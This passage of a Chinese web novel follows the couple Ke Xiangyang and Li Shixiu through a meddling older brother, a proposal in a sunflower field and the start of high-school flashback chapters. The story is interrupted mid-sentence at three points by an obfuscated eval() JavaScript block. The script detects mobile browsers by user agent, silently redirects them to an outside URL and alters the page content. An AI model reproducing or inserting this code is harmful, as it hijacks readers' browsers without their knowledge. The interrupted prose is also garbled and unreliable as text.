是不是该先买一套房呢?柯向阳盘算起自己的存款,虽然他上一份工作的工资不高,但也攒下了几万块,加上奶奶留给他的那笔钱,买个小点的两居室还是够的。 再看看自己现在开的车,厉时修用他的名义买的,那就算是他的财产,直接卖掉换个便宜点的电车,没事还能开开网约车补贴家用。 以厉时修的能力,找工作肯定不成问题,他们根本不需要为生计发愁。 柯向阳越想越来劲,感觉未来充满希望,恨不得马上到家和厉时修一起规划未来。 与已经哼上小曲的柯向阳不同,厉时修此刻在家中坐立难安。 他刚得知厉时谨瞒着自己来到鹤水市,还与柯向阳私下见面,以他对自家二哥的了解,这绝对不会是什么好事。 要不是柯向阳说已经在回来的路上,厉时修大概会直接出去找他。 一直关注着的玄关终于传来开门声,望着苦等的人影出现,厉时修松了一口气。 柯向阳举起手上的礼盒:“我顺路去买巧克力了,耽误了点时间。” 厉时修接过盒子,拿去冰箱放好。 “晚上吃什么?”柯向阳抱住厉时修的腰,探头往冰箱看去。 厉时修握住腰上的手,反问:“你想吃什么?我给你做。” “想吃牛排。”想到厉时修煎的牛排,柯向阳狠狠咽了下口水。 厉时修拿出两块牛排解冻,先准备别的配菜,柯向阳在边上帮着打下手。 “我还在想乔乔为什么会跟齐朔从酒店出来,结果徐佑突然冲出来给了齐朔一拳。”柯向阳绘声绘色地为厉时修播报今日八卦。 “徐佑还缠着乔梦书啊。”厉时修眉头一皱,觉得徐佑这样太难看了。 “是啊,早知如此何必当初呢?在一起的时候不珍惜,分手了才后悔,只能说活该了。”柯向阳摇摇头,对徐佑一点也同情不起来。 “我再去敲打一下徐家的人好了。”厉时修之前就暗示过徐家别找乔梦书麻烦,现在看来徐家倒是没有出手,只是徐佑自己不愿放弃。 “我问问乔乔需不需要吧,毕竟是他的事。”柯向阳切好要做浓汤的蘑菇,准备切洋葱。 “我来切,你去洗点水果吃。”厉时修从柯向阳手里接过菜刀。 柯向阳洗了两串葡萄,时不时给厉时修喂一颗,伸出手放在他下巴下接着:“把籽吐我手上。” 厉时修看了一眼他的手,转头往垃圾桶里吐了籽:“你自己吃吧,别喂我了。” “干嘛呀?嫌弃我啊?”柯向阳撅着嘴。 厉时修低头亲了一口他的嘴巴:“什么叫嫌弃你?我是怕弄脏你的手。” “我又不介意,口水都不知道吃了多少了,手上沾一点有什么关系?”柯向阳嘟囔着,“我又不像你一样有洁癖。” 厉时修闻言,牵起柯向阳的手,在他掌心舔了一口:“满意了?” 柯向阳:“……” 见柯向阳默默打开水龙头洗手,厉时修轻哼一声:“还说不介意。” “你怎么这么幼稚。”柯向阳擦干手,将纸巾丢进垃圾桶,“对了厉哥,我今天见到你二哥了,是叫厉时谨吧?” 厉时修脸上的笑意一僵,没想到柯向阳会突然说起这个。 柯向阳继续道:“他让我别告诉你,但我觉得应该跟你说一声。” 厉时修手上的动作跟着停了下来:“他说什么了?” “他让我跟你分手。”柯向阳如实道,“说如果我们不分手,你会被逐出家门,失去现在所拥有的一切。” “那你是怎么想的?”厉时修放缓了呼吸。 柯向阳看出他的紧张,伸手握住他微微颤抖的手,朝他露出一个安抚的笑:“厉哥,我怎么想的不重要,重要的是你的决定,我告诉二哥,我尊重你的一切决定。” 厉时修握住柯向阳的手,认真地问:“你怎么想的很重要,我想知道,那一刻,你有没有一点点想要离开我的念头。” “没有,绝对没有!”柯向阳立刻表忠心。 “这就够了。”厉时修抱住柯向阳,彻底放下心,没有第一时间向柯向阳解释,是因为他也想知道如今的柯向阳会怎么处理这种问题。 “厉哥,只有你能把我从你身边赶走。”柯向阳抬起头,目光坚定。 厉时修心口发烫,轻笑:“笨蛋,说什么傻话?我怎么可能赶你走。” 这一刻,过去那个喜欢逃避与退缩,总是知难而退的柯向阳已经彻底蜕变,犹如一株挺立的向日葵,厉时修的爱意就是他的阳光与养分,而他在爱意的浇灌下迎风生长,不再畏惧任何困境。 “我二哥说的话你别全信,根本没有他说的那么严重,都是唬你的。” “真的吗?” “我什么时候骗过你?” 柯向阳想了想,厉时修好像真的没有对他说过谎。 “你做得很好,以后像这种事一定要第一时间告诉我,千万别想着一个人承担。” “嗯。” 两人在厨房抱着腻歪了会,才想起来还在准备晚餐。 吃饭时,柯向阳收到一条好友申请,点开一看,正是厉时谨,转头朝厉时修道:“厉哥,你二哥加我微信了。” 厉时修:“加吧,看看他要说什么。” 柯向阳通过好友验证,很快收到了一连串的消息: 【忘了告诉你,老三已经有婚约了,对方跟我们门当户对,是个知书达理的好姑娘。】 【或许你们现在感情稳定,但两个男人是不会有结果的,你们又不能结婚,连一纸证书的保障都没有,等到爱意被现实消磨光,你年纪也大了,到时候只会落得人财两空。】 【别说什么不是为了钱,没有爱情总得抓住面包吧?】 【(照片.jpg)】 【这是老三未婚妻的照片,漂亮吧?这么优秀的女孩子,谁会不喜欢呢?】 “厉哥,冷静!冷静!”柯向阳死死抱住厉时修想砸手机的右手,“这手机新买没几个月啊!!” 一向会抓重点的柯向阳成功把厉时修气笑了。 照片上的女孩身穿礼服,面容精致,要是与厉时修站在一处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171865|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一定非常般配,柯向阳没敢说人家漂亮:“这女生好像有点眼熟。” “应该是二哥公司的哪个明星吧。”厉时修深吸一口气,将手机息屏,“别理他,吃饭。” 吃完饭,厉时谨还在坚持不懈地进行信息轰炸。 厉时修看了眼消息,突然勾了勾嘴角。 “厉哥,你这么笑我有点害怕。”窝在厉时修怀里的柯向阳从下往上看去,瘆得慌。 “我去打个电话。” “哦。” * 周三晚上,柯向阳与厉时谨约在了上次见面的咖啡厅,与上次不同的是,厉时修也来了,只是坐在他们后面的卡座没有露面。 “想清楚了吗?”厉时谨又掏出了他那本支票簿。 “厉哥订婚的事是真的吗?”柯向阳故作伤心地问。 “没错,他和他的未婚妻从小青梅竹马,感情稳定,一起去英国留学,期间在英国订了婚,最近他的未婚妻也要回国了,等她回国,两人就要举行婚礼了。”厉时谨说起谎来根本不打草稿。 柯向阳握紧拳头:“他都有未婚妻了还跟我谈恋爱,这不是脚踏两只船吗?我要去问问他到底怎么回事!” 厉时谨一愣,脑后流下一滴冷汗:“他肯定不会承认的,你别白费力气了。” “那我让他来跟你对质。” “这、就不必了吧?” 对于厉时谨的无中生有,厉时修实在是听不下去了,起身走到柯向阳身边坐下,冷冷地叫了声:“二哥。” 厉时谨顿时瞳孔地震:“老三?你怎么在这?” “我陪小柯来的。” 这话一出,厉时谨立即明白自己的谎言早被戳穿,心虚地笑了两声:“刚刚我说的话你全听见了?” 厉时修面无表情:“听得一清二楚,一个字都没落下。” “呵呵,二哥这也是为你好,想帮你看看你男朋友到底靠不靠谱,对你是不是真爱嘛。”厉时谨还在狡辩。 厉时修“嗯”了一声:“我知道,二哥费心了。” 厉时谨听到这话,心里一个咯噔。 “所以,为了感谢二哥的付出,我为二哥准备了一份小小的谢礼。” “什么谢礼?”厉时谨警惕地问。 厉时修露出一个和善的微笑:“我帮你跟若萱姐取消婚约了,她现在正在赶来的路上。” “什么?!”厉时谨差点从座位上跳起来,真正青梅竹马的其实是他和沈若萱,厉沈两家早早定下亲事,准备这两年让他们完婚。 沈若萱性格泼辣,行事果断,重点是传递消息的是在她眼中一向靠谱的厉时修,她一定会当真的! 厉时修这招正中厉时谨七寸,一击毙命。 厉时修看了眼手机:“若萱姐说她马上就到。” “你!”厉时谨指着厉时修,气得脸都红了,随后一边打电话一边往外跑去。 “你真的帮二哥取消婚约了吗?”柯向阳好奇地问。 厉时修:“没有,我只是跟他未婚妻告了个状,让她配合演场戏吓吓他。” 柯向阳有些同情厉时谨,看他那样子,真是吓得不轻。 “这就叫自作自受,看他以后还敢不敢随意插手别人的私事。”厉时修脸上难得涌现一抹幸灾乐祸的笑容。 咖啡厅门口,厉时谨与沈若萱迎面碰上:“萱萱,你听我解释……” “啪”地一声,沈若萱干脆利落地给了他一个大耳刮子。 厉时谨被扇得眼冒金星,白皙的脸庞上浮现一道清晰的巴掌印。 “嘶——”柯向阳不由捂住自己的脸,朝厉时修道:“一定很疼。” 45. 向日葵 “走吧。”厉时修牵着柯向阳的手往外走,跟沈若萱打了个招呼。 “时修,好久不见。”沈若萱回以一个得体的笑容,目光停留在柯向阳身上,带着几分好奇。 “这是我男朋友,柯向阳,你可以叫他小柯,这位是我二哥的未婚妻,沈若萱,你跟我一起喊若萱姐就行了。”厉时修介绍完,转头朝柯向阳道。 柯向阳乖乖问好:“若萱姐好。” “你好,不过我现在不算他二哥的未婚妻了,毕竟人家都要跟我解除婚约了。”说话间,沈若萱想刀人的目光狠狠扎在厉时谨身上。 厉时谨哭丧着脸:“萱萱,我没有啊!那是老三乱说的,你要相信我啊!” 沈若萱白了他一眼:“时修又不是你,天天满嘴跑火车的。” 厉时谨:“他那是报复我呢!” 沈若萱挑挑眉:“他为什么要报复你?你又做了什么坏事?” 厉时谨不说话了。 沈若萱重新看向柯向阳,眼中迸射出两道名为“八卦”的光:“小柯是吧?来给姐姐说说你和时修是怎么在一起的?” “在这说吗?”柯向阳转了转头,他们四个还站在人家店门口呢。 最后,沈若萱和厉时谨跟着两人回了家。 客厅里,沈若萱一边吃着厉时谨剥的荔枝,一边听柯向阳讲和厉时修从高中开始的 另一头,作为从犯被叫来的厉时谦在书房抱着厉时修的大腿哀嚎:“三哥,我再也不敢了,再给我一次机会吧!” 厉时修冷眼相对:“我看你真是认不清自己在谁手底下讨生活了,这么爱跟大姐打小报告,干脆直接送你回总部给大姐打工吧。” 厉时谦:“不要啊三哥!我是被逼的啊!你知道大姐的性子,我胳膊拗不过大腿啊!” 厉时修:“大姐那边就算了,二哥又是怎么回事?他来为什么不告诉我?” 厉时谦惨兮兮地说:“二哥我也拗不过啊。” “……”这倒也是,厉时修冷哼一声,决定明天让营销部总监给厉时谦多布置点任务,以示惩戒。 “所以你们俩互相暗恋了八年才知道对方不是直男的?”沈若萱高亢的声音从客厅传来。 “差不多吧,之前一直是以好朋友的身份相处的,所以在一起之后感觉没有什么差别。”柯向阳挠挠头。 沈若萱回头又给了厉时谨一下:“人家好不容易修成正果,你来捣什么乱?” “我知道错了,在外面给我留点面子吧。”厉时谨诚恳祈求。 柯向阳好心安慰:“没关系的二哥,这是在家里,都是自己人,没有外人。” “……”厉时谨觉得柯向阳一定是故意的。 “不过,二哥说他来是为了帮厉哥试探我,这话是真的吗?”柯向阳问。 “呵,他哪有那么好心,从小就一肚子坏水,肚量小,心眼多,小时候老喜欢捉弄我。”沈若萱无情地揭了未婚夫的老底。 “我哪有!”厉时谨连辩驳都显得苍白。 “这样啊,看来二哥挨的那巴掌不冤。”柯向阳点点头。 “当然不冤,我的巴掌从不错打一人。”沈若萱看着自己的纤纤玉手,眼里满是欣赏。 送走沈若萱三人,柯向阳还觉得有些好笑。 厉时修笑问:“心情不错?” 柯向阳:“感觉你们家兄弟都好有意思。” 厉时修:“嗯,他们脑子不好。” 柯向阳:“你们上面还有个大姐吧?她也知道我们的事了?” 厉时修:“大姐没关系,她会理解的。” 这么算来,其实要攻略的对象只剩厉时修的父母和爷爷了,柯向阳决定年底跟厉时修一起回厉家主宅过年,顺便见一见他的家长。 厉时修的个人资产很丰厚,就算被逐出家门,也不会像厉时谨说得那么凄惨,完全够他和柯向阳两人吃喝不愁。 只是看到柯向阳为了两人的未来而努力规划的样子,还是会忍不住心动。 怎么会有这么可爱的人? “干嘛一直盯着我看啊?”柯向阳伸手在厉时修眼前挥了挥,“我脸上有东西吗?” “对啊,你过来,我帮你擦掉。”厉时修勾勾手指。 柯向阳傻乎乎地凑上去:“哪呢?” 厉时修在他脸颊亲了亲:“这里。” 柯向阳羞涩地瞪了厉时修一眼:“你干嘛呀!” “亲你。”厉时修坦坦荡荡。 “亲就亲了,还骗我脸上有东西。”柯向阳跨坐在厉时修腿上,像只树袋熊一样将四肢缠上。 厉时修从沙发上站起身,伸手扶住柯向阳的屁股向上托了托:“最近好像重了点?” 柯向阳低头捏了捏自己肚子上的软肉,好像真的胖了,脸上立即浮现出一抹担忧:“我是不是该减肥了?” “减什么肥?之前太瘦了,长点肉才好,不准减肥。”厉时修轻松地抱着柯向阳往卧室走。 走着走着柯向阳觉出不对劲了,忍不住扭了扭腰想要远离,屁股上的手却捏得更紧了。 房门合上,几只猫听着从房间里响起的熟悉动静,在客厅自顾自地玩耍。 * 这周日正好是柯向阳的生日,昨晚厉时修借着送礼物的名义,和柯向阳一起在床上运动了大半夜。 早上,柯向阳先睁的眼,厉时修还在他身侧熟睡,于是他轻手轻脚地起来,想去厨房做顿爱心早餐。 阳光从阳台洒进客厅,照到猫屋,柯向阳路过时,小乖朝他“喵”地叫了一声。 “早上好,小乖。”柯向阳蹲下给它挠头,“你的肚子越来越鼓了。” 小乖呼噜噜地响了起来,翻着肚皮舔手洗脸。 小猫长大后猫屋的门就不怎么锁着了,猫窝里只有面包趴着,芝麻窝在按摩椅上,牛奶则在沙发上睡得四脚朝天。 柯向阳雨露均沾地跟每只猫互动了一下,依次喂了维生素片和猫草片。 面包吃完自己的份,还对牛奶那份虎视眈眈。 “不可以抢弟弟的。”柯向阳摇摇手指,手腕上崭新的手表跟着晃了晃,将阳光反射到墙壁上,形成一块明亮的光斑。 几只小猫立即动作一致地蹿过去追逐光斑,一边扑一边发出“咔咔咔”的电报声。 柯向阳被可爱得不行,掏出手机拍了好几个视频发在群里。 面包的吃货属性越来越明显,吃得多便长得快,体型已经赶上小乖了,玩了一会又回头来找柯向阳要零食,还叫得可怜巴巴:“喵呜!” 暴脾气的芝麻在边上看了会,径直走过来给了面包一爪子,兄弟俩马上扭打在一起。 “别打架,爸爸还在睡觉呢。”柯向阳掏出整块的鸡胸肉冻干,够它们啃上好一会。 玩起猫来就忘了时间,柯向阳想起自己要干嘛,匆匆起身进了厨房。 刚从冰箱拿出鸡蛋,身后响起一阵脚步声,随后,一双大手缠上他的腰间。 “怎么不多睡会?”厉时修的声音带着刚睡醒的慵懒。 柯向阳侧过头:“睡够了就起来了,你才是,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171866|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么早起来干嘛?” “睁开眼没看见你。”厉时修将下巴搭在柯向阳肩上,“我来做,你去歇着。” “歇什么歇啊,刚起床。”柯向阳觉得厉时修现在简直把他当儿子养。 厉时修:“昨晚谁一直喊累的?原来是骗我。” 柯向阳:“……” 两人起得不算早,这顿正好当午餐了,晚上再和其他人一起吃生日餐。 吃饭的时候,原本艳阳高照的天气突然阴沉下来,没一会便下起雨,直到下午才停。 看见雨停了,厉时修让柯向阳去换衣服,准备出门。 “不是跟他们约的六点吗?”柯向阳不解。 厉时修说:“带你去个地方。” 柯向阳:“去哪?” 厉时修:“到了就知道了。” 柯向阳坐在车里,没想到这一趟居然开了一个多小时,已经要开到鹤水市周边的乡镇去了。 看着车窗外的风景越来越偏僻,柯向阳不由问道:“你不会要把我带去卖了吧?” 厉时修笑笑不说话。 车子转过一道弯,眼前一下变得开阔起来,布满厚厚云层的天空,此刻也像拨开迷雾一般,开始透出一缕缕阳光。 柯向阳下了车,一大片没有边际的向日葵花田映入眼帘,微风拂过,金色花瓣掀起层层浪涛。 厉时修牵住柯向阳的手,沿着花田中间的小道往前走。 柯向阳不知道该用什么言语来形容眼前的景象,喃喃问道:“这片花田是一直都有的吗?” “喜欢吗?” “嗯!好漂亮。” 当听到厉时修已经将这块地买下要送给他时,柯向阳彻底不淡定了,昨晚收到手表他还想着虽然贵但不离谱,现在看来真是太早下定论了。 柯向阳:“不是,你送我地干嘛?我又不会打理,光放着种花吗?” 厉时修:“别担心,会有专门的团队帮你规划打理,你坐着收钱就好了,什么都不用管。” 还请了专门的团队,真的能赚到钱吗?柯向阳感觉自己的大脑有点宕机。 “我知道你不看重这些,但是我想给你,不要拒绝我,也不要觉得有负担,在我看来,你不需要懂事,不需要识大体,可以再任性一点,多依靠我一点,心安理得地享受我给你的一切,因为这些都是你应得的。”厉时修语气平静地说着,牵着柯向阳的手却越握越紧,他知道,身后的人一定可以理解他的心情。 柯向阳抬头望向面前那个高大的背影,这一刻,他想,在这个世界上,再没有人会比厉时修更爱他了。 厉时修的脚步逐渐慢下,环视四周,两人已置身花田中央。 柯向阳的心没由来地狂跳起来。 只见厉时修转过身,单膝跪地,举起一个丝绒盒子,缓缓打开:“柯向阳,你愿意和我结婚吗?” 在如此浪漫的地方,接受最爱的人向自己求婚,柯向阳曾经一直以为这样的场景只会出现在梦中。 如今梦境变为现实,哪怕他们没办法真的结婚,柯向阳仍坚定地伸出手,郑重回应:“我愿意。” 镶嵌着钻石的铂金戒指完美贴合手指,熠熠生辉。 两人的感情早已不需要那纸证书来证明,他们是朋友,是恋人,今后更是要共度一生的家人。 淡淡的花香混合着雨后的泥土气味,夕阳余晖落下,在拥吻的两人周身洒上一层柔和的金边,与整片花田融为一幅美丽的画卷,而这,正是他们未来生活的幸福开篇。 -正文完- 46. 高中回忆篇(上) 蝉鸣阵阵,又到了新学期的开学日。 高一升高二要进行文理分班,像第一中学这种重点高中,分完文理班之后还会成立各成立一个尖子班,由年段排名前五十名的学生组成,剩下的学生则按成绩好坏平均分配至普通班。 以厉时修的成绩,是可以稳进尖子班的,但在他看来,高考后自己就要出国了,没必要占用普通学生可以冲刺好大学的名额,于是选择了普通班。 厉时修的外祖家在鹤水市,小时候时常会到外祖家度假,他父亲一向忙于工作,母亲在他初中时突然宣布要去环游世界,加上厉时谨和厉时谦两人嘈杂的性子,让厉时修烦不胜烦,最后干脆直接来鹤水市念书。 高二(6)班,厉时修看了眼门口的牌子,没错。 教室里基本坐满了,有高一就同班的,如今又被分到一个班,自然更亲近些,坐在一处聊得起劲。 厉时修背着书包走到最后面,那里还有个空位。 看见厉时修进来,班上的嘈杂声小了许多。感觉到四面八方投射过来的视线,厉时修不客气地扫视了教室一圈,探究的目光便如潮水退散般收了回去。 开学第一天,又是新班级,老师没有上课,只是和大家相互熟悉了一下。 厉时修无聊地趴在桌上,翻看藏在抽屉里的漫画。 学习对厉时修来说并不是什么困难的事,所以他上课不算认真,总是选择性地听课,遇到已经会了的或者不感兴趣的课程,干脆用睡觉和看漫画来打发时间。 老师们知道他的情况,对他比较宽容,毕竟在普通班里,他的成绩已经很优异了。 厉时修独来独往惯了,开学近一个月也没跟班上的哪个同学熟悉起来。 不过他倒是注意到坐在自己隔壁的那个男生了,长得白白净净,跟他一样独来独往,安静得近乎孤僻,至今都没见那男生主动跟别人说过话,也没人来跟他说话,好像完全没朋友,每天安静地坐在自己的位置上看书,做题,做的题有一大半是错的。 两人的位置离得很近,厉时修能轻易看见那个男生写在作业本上的名字。 柯向阳。 明明是很积极向上的名字,和本人一点都不搭啊。 月考后正好是国庆,厉时修回主宅度了个假,不仅被两个兄弟烦,还要被他的发小纪向松烦,假期结束之际,立刻回了鹤水市。 傍晚是堵车高峰期,厉时修在车里坐着,看到前面长长的车队,心情烦躁,让司机开到路边把自己放下,他要散散步。 下车没走两步又觉得后悔,天气太热了,哪怕天色已晚,体感温度依旧很高,更烦了。 厉时修漫无目的地往前走,不知不觉走到学校前面的街道,路过一个巷子口,不知看到了什么,又往回退了两步。 巷子里的墙根处蹲着一个熟悉的身影,好像坐在他隔壁的人,叫什么来着?对了,是柯向阳。 那小子干什么呢?厉时修换了个角度,看见柯向阳面前聚集了三只小猫,正在专心吃着他带来的食物,原来是在喂流浪猫。 “饿了吧,慢点吃,还有呢。”少年特有的音色干净清爽,意外地好听。 几只小猫显然和柯向阳很熟,任他摸头挠下巴,时不时夹着嗓子叫两声撒娇。 柯向阳的脸上浮现明显的笑意,与往日里有些阴沉的形象截然不同。 眼见天色越来越晚,他不舍地跟小猫道别:“我得去上晚自习了,下次再来看你们,不要到马路上乱跑哦。” 闻言,小猫纷纷抬起头蹭着柯向阳的小腿,哼哼唧唧,刚起身的柯向阳立刻没有原则地蹲了回去。 这家伙太容易动摇了吧?厉时修暗暗吐槽,根本没意识到自己已经偷窥人家喂猫半小时了。 * 国庆假期结束,月考的成绩也出来了。 比起自己,厉时修更好奇柯向阳的排名,毕竟他看起来每天都很用功。 按照惯例,各班班主任会将自己班上的学生排名打印出来贴在教室的公告栏里,包含班级与年段两种排名。 公告栏前挤着一堆人,有人欢喜有人愁,待人群散尽,柯向阳才默默上前查看,回到座位时,脸上多了一抹不同以往的情绪,好像很难过。 厉时修过去看了眼排名表,精准地从倒数几名里锁定了柯向阳的名字,难怪会难过。 课上老师都在讲解试卷,厉时修听完自己的错题部分,又开始看漫画,余光瞥见柯向阳,只见他正挺直腰板,双眼死死盯着黑板,神情十分专注,甚至有一丝紧张。 厉时修不解,听老师讲题有什么好紧张的。 于是他趴在桌上好奇地观察柯向阳的表情变化,看了一会就知道他肯定没听懂。 那题明明很简单,这家伙长得一脸聪明样,结果却是个安静的笨蛋。 放学后,柯向阳在座位上没动弹,皱着眉头仍在研究自己考得惨不忍睹的数学试卷。 厉时修收拾好书包,起身走人,走到教室门口时,忍不住回头看了一眼,正好看见柯向阳眼中闪烁的水光。 做不出题而已,有必要难过到哭吗?厉时修很疑惑,心里并不想多管闲事,可脚下还是不受控制地往回走,站在柯向阳的课桌边上,伸手敲了敲桌面,问:“你是哪题没听懂?” 柯向阳吓了一大跳,猛地抬头看向厉时修,泛红的双眼因为受惊瞪得圆圆的,似乎怎么都没想到对方会跟自己搭话,直到看见厉时修面上露出一丝不耐,才结结巴巴地说:“我、我没搞明白、这个、这个辅助线的画法。” 厉时修将自己的椅子拉到柯向阳身边,一屁股坐下,从他手里接过笔,在草稿纸上一笔一画给他演示了一遍辅助线的画法,边画边讲。 “原来是这样,谢、谢谢你啊。”柯向阳终于听懂了,朝厉时修露出一个感激的笑。 厉时修想起喂猫时的柯向阳,心头莫名一动,随后别开脸,问:“还有哪里不会的?” “啊?”柯向阳一时没反应过来。 “我问你还有哪些题目没搞懂,我一起教你。”教都教了,不在乎多一道少一道的了。 反倒是柯向阳不好意思起来:“不用了,你是走读生吧?还是早点回家吧。” “让你说你就说,用不着操心我什么时候回家。”厉时修撑着下巴,“还是说你想把我赶走然后自己一个人好好哭一场?我刚才是不是打扰到你了?” “我、我没哭。”柯向阳小声且无力地反驳。 “不要浪费时间,你学得本来就慢。”厉时修无情地指出另一个事实。 柯向阳:“……” 没讲几道题,厉时修便充分了解了柯向阳的数学到底有多差,不由问道:“你数学这么差,为什么要学理科?” 柯向阳给出了一个朴实无华的理由:“因为我不喜欢背书。” 厉时修疑惑:“难道你很喜欢做题吗?” 柯向阳点点头:“比背书好点。” 再看一眼柯向阳的物理试卷,厉时修只觉两眼一黑,真心建议:“你真的没有转班的想法吗?现在刚开学没多久,转去文科班还来得及。” “……”柯向阳看向厉时修,一脸大受打击。 “算了,当我没说。” * 厉时修自认不是一个有耐心的人,对于主动帮柯向阳讲题这件事,他只当自己一时兴起。 结果就是一直兴起,因为柯向阳不会的题实在太多了。 厉时修:“这题化简之后用上平方差公式就好了。” “是、是这样吗?”柯向阳犹犹豫豫地写下过程。 “嗯。” 得到厉时修的肯定,柯向阳总算松了一口气。 见他那样,厉时修皱了皱眉:“你为什么老是一副很紧张的样子?” 柯向阳坦白:“我怕惹你生气。” 厉时修:“我有对你生过气吗?” 柯向阳犹豫了会,说:“你不是每天都在生气吗?刚刚还骂我笨了。” 厉时修面色平静:“那不是骂你,只是在陈述事实。” 柯向阳:“你这样说,好像比直接骂我更让我受伤。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171867|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 两人的关系逐渐拉近,除了讲题,做别的事也开始结伴而行。 在别人眼中完全不可能有交集的两人,偏偏每天都形影不离,自然成了大家议论的话题。 “他是不是看厉时修家有钱才天天跟着啊?” “我觉得是,你看他从来不跟我们搭话,只追着厉时修跑,原来是因为我们不够有钱。” 一阵哄笑。 “我们哪能跟厉少爷比,柯向阳真是会挑人,我昨天还看见他和厉时修去外面吃饭了,那家店挺贵的。” “厉时修就吃他这套,少爷身边果然得跟个狗腿子啊。” 柯向阳无意间听到过同学的议论,他没有勇气反驳,只能装作没听见。 可那些话还是对他产生了影响。 厉时修再教他做题时,柯向阳变得心不在焉起来。 “这题听懂了吗?”厉时修曲起手指敲了敲桌面。 柯向阳立即回过神:“听、听懂了。” “那你做一遍给我看。”厉时修抽出一张全新的草稿纸放在柯向阳面前。 柯向阳抓耳挠腮,写写停停,不时地偷偷瞥一眼厉时修,像只心虚的小狗。 “不会就说不会,说什么听懂了,你学习是在糊弄自己吗?”厉时修无语。 “对不起,是我不专心,耽误你时间了。”柯向阳垂着头,看不清表情,但周身散发着一股可怜巴巴的气息。 厉时修:“……” 柯向阳默默收拾起桌上的试卷:“今天先到这吧,我要去食堂吃饭了。” 厉时修:“去什么食堂,我请你去外面吃。” “不用了,你教我做题,还老请我吃饭,太破费了。”柯向阳也想请厉时修吃饭,但以他的生活费只请得起快餐和小吃,有洁癖的厉时修从来不去那种门店,最后总会演变成厉时修请他去高级餐厅吃饭。 “我乐意请,你吃就是了。”这点钱对厉时修来说根本不算什么。 “我今天不想出去吃。”柯向阳小声道。 厉时修纠结了会,不怎么高兴地说:“那我跟你去食堂吃。” “你吃不惯的,我先走了,拜拜。”柯向阳匆匆离去,不给厉时修再开口的机会。 望着柯向阳落荒而逃的背影,厉时修皱起眉头。 那之后,柯向阳似乎不再像之前那样亲近他了。 这样的情况一直持续到厉时修亲耳听见同学的议论,他没有柯向阳的好脾气,直接沉下脸,双手插兜走上前去,问:“你们几个,在聊什么?也说给我听听吧。” 聚在一起的几人顿时噤声,一哄而散。 厉时修总算明白柯向阳反常的原因,带着一股低气压走进教室。 柯向阳下意识地缩缩脖子,不知道他在生什么气。 厉时修:“你这个笨蛋。” 柯向阳莫名其妙:“干嘛突然骂我?” 厉时修:“你很在意别人的看法吗?” 柯向阳心虚地低下头。 厉时修眯了眯眼:“还是你把我当免费的家教了?” “怎、怎么可能啊!”柯向阳连忙否认。 厉时修气道:“那就别再胡思乱想了,他们又不是你的朋友,干嘛要为了陌生人的三言两语跟朋友疏远?” 柯向阳小心翼翼地确认:“你的意思是,我们是朋友?” 厉时修面色不善:“你能不能不要老是问些废话?不是朋友为什么要给你补习,还请你吃饭啊?我看起来像是很爱做慈善的人吗?” “不像。”柯向阳把头摇得跟拨浪鼓似的。 厉时修冷哼一声,虽然柯向阳说的是实话,但看他那么果断地否认,还是怪不爽的,又想起柯向阳总连名带姓地叫自己,更不爽了:“你生日是几月?” 柯向阳老实道:“10月。” 厉时修:“我是8月的,比你大,以后你要喊我哥。” 柯向阳挠挠头:“那我喊你厉哥?” “嗯。”厉时修点点头,“我就叫你小柯。” “好。” 47. 高中回忆篇(中) 柯向阳是寄宿生,每周末都会回乡下的奶奶家。 他的父母在他很小的时候就离婚了,父亲再婚后在鹤水市买了房子,但柯向阳与父亲柯建川关系疏远,并不喜欢到那个所谓的家去。 厉时修住在舅舅闲置的房子里,跟柯向阳成为朋友后,总觉得周末一个人在家少了点什么,于是他问柯向阳:“周末要不要去我家玩?” 这是第一次有朋友邀请他去家里玩,柯向阳很心动,但想起家里的奶奶,又面露犹豫。 “怎么?”厉时修问。 “我得跟奶奶说一声。”柯向阳给奶奶打了个电话,听到他要去同学家玩,奶奶连声说好,让他别舍不得花钱,多买点吃的跟同学一起吃。 周五晚上厉时修就带着柯向阳回了家。 “你家好大啊。”柯向阳惊叹着换上室内拖鞋,他对城里这种套房的印象仍停留在父亲的家,跟眼前的房子根本没有可比性。 “是我舅舅的房子,他不怎么住这,现在家里只有我和一个住家阿姨,阿姨负责做饭、打扫卫生。”厉时修放下书包,“你随意点,当自己家就好。” 听到家里没有厉时修的长辈,柯向阳放松了不少,大着胆子打量起屋内的陈设。 这套房子在顶楼,是复式的,有两层,楼下是阿姨的卧室、客厅和开放式厨房,楼上则是三个卧室和一间书房。 厨房里,阿姨正在准备晚饭,柯向阳过去朝阿姨打了个招呼。 厉时修打开冰箱:“你想喝什么?” 